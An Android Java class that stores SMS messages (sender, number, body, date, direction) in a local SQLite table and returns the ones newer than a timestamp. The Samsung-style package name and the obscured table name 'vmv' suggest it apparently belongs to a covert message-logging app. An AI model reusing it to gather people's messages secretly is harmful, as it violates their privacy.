package com.samsung.utils.phone.db;

import java.util.ArrayList;

import com.samsung.utils.phone.content.StaticClass;
import com.samsung.utils.phone.primitives.SMSObject;
import com.samsung.utils.phone.primitives.ServiceObject;

import android.content.ContentValues;
import android.content.Context;
import android.database.Cursor;
import android.database.sqlite.SQLiteDatabase;
import android.database.sqlite.SQLiteDatabase.CursorFactory;
import android.database.sqlite.SQLiteOpenHelper;
import android.util.Log;

public class SMSDabatase extends SQLiteOpenHelper implements DatabaseBase {

	public static final String TABLE_NAME = "vmv"; // sms
	public static final String PERSONNAME = "personname";
	public static final String NUMBER = "number";
	public static final String DATE = "date";
	public static final String BODY = "body";
	public static final String ISCOMING = "iscoming";
	Context context = null;

	public SMSDabatase(Context context, String name, CursorFactory factory,
			int version) {
		super(context, name, factory, version);
		this.context = context;
	}

	@Override
	public void onCreate(SQLiteDatabase dbObject) {
		String sql = "CREATE TABLE " + TABLE_NAME + " ("
				+ "id INTEGER PRIMARY KEY AUTOINCREMENT," + PERSONNAME
				+ " TEXT," + NUMBER + " TEXT," + BODY + " TEXT," + DATE
				+ " TEXT," + ISCOMING + " INTEGER" + ")";
		dbObject.execSQL(sql);
	}

	@Override
	public void onUpgrade(SQLiteDatabase db, int oldVersion, int newVersion) {
		if (oldVersion >= newVersion)
			return;
		if (newVersion == 2) {
			db.execSQL("DROP TABLE IF EXISTS " + TABLE_NAME);
		}
		onCreate(db);
	}

	private void saveNewSMS(SMSObject smsObject) {

		ContentValues values = new ContentValues();
		values.put(PERSONNAME, smsObject.personName);
		values.put(NUMBER, smsObject.phoneRaw);
		values.put(BODY, smsObject.messageContent);
		values.put(DATE, smsObject.dateLong + "");
		
		int tt = smsObject.isComing ? 1 : 0;
		values.put(ISCOMING, tt);

		SQLiteDatabase dB = getWritableDatabase();
		dB.insert(TABLE_NAME, null, values);
		dB.close();
	}

	@Override
	public ArrayList<ServiceObject> getServiceObjects(long lastSMSTime) {

		ArrayList<ServiceObject> objects = new ArrayList<ServiceObject>();
		try {
			SQLiteDatabase dB = getReadableDatabase();
			String selection = DATE + " >= " + lastSMSTime;
			Cursor cursor = dB.query(TABLE_NAME, null, selection, null, null,
					null, null);
			int indexBody = cursor.getColumnIndex(BODY);
			int indexAddr = cursor.getColumnIndex(NUMBER);
			int indexDate = cursor.getColumnIndex(DATE);
			int indexPerson = cursor.getColumnIndex(PERSONNAME);
			int indexComing = cursor.getColumnIndex(ISCOMING);

			if (indexComing < 0 || !cursor.moveToFirst())
				return objects;
			
			do {
				boolean isComing = cursor.getInt(indexComing) > 0;
				SMSObject smsTemp = new SMSObject(context,
						cursor.getString(indexAddr),
						cursor.getString(indexBody),
						cursor.getString(indexDate), isComing,
						cursor.getString(indexPerson));
				objects.add(smsTemp);
			} 
			while (cursor.moveToNext());
		} catch (Exception e) {
			Log.v(StaticClass.LOG_TAG,e.getMessage());
		}

		return objects;
	}

	@Override
	public void saveServiceObject(ServiceObject object) {
		saveNewSMS((SMSObject) object);
	}
}
